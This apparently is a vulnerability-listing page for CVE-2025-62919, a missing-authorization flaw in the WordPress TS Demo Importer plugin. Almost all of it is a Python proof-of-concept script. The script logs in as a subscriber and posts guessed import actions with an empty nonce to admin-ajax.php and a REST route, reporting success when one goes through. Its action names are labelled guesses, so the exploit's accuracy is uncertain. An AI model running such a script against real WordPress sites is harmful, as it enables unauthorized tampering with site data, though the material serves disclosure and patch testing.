CVE-2025-62919 | WordPress TS Demo Importer 插件授权缺陷漏洞

# CVE-2025-62919 PoC - TS Demo Importer Authorization Bypass # Author: Security Researcher # Target: WordPress with TS Demo Importer <= 0.1.3 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_62919(target_url, username, password): """ Exploit Missing Authorization in TS Demo Importer plugin This PoC demonstrates how a low-privilege user can trigger import functions without proper capability checks. """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Identify the vulnerable AJAX endpoint # Common patterns for TS Demo Importer ajax_endpoints = [ 'wp-admin/admin-ajax.php', 'wp-json/ts-demo-importer/v1/import' ] # Step 3: Trigger import action (bypassing authorization) for endpoint in ajax_endpoints: ajax_url = urljoin(target_url, endpoint) # Common import action names for demo importer plugins import_actions = [ 'ts_demo_importer_import', 'tsdi_import_demo', 'ts_demo_import_data' ] for action in import_actions: print(f'[*] Trying action: {action} on {endpoint}') post_data = { 'action': action, 'demo_id': 'malicious_demo', 'nonce': '' # May not be required due to missing check } try: response = session.post(ajax_url, data=post_data, timeout=10) # Check for successful exploitation indicators if response.status_code == 200: if 'success' in response.text.lower() or 'imported' in response.text.lower(): print(f'[!!!] VULNERABLE! Action {action} executed successfully!') print(f'[+] Response: {response.text[:200]}') return True except requests.exceptions.RequestException: continue print('[-] Exploitation attempt completed. Check manually if vulnerable.') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_62919_poc.py <target_url> <username> <password>') print('Example: python cve_2025_62919_poc.py http://example.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_62919(target, user, pwd)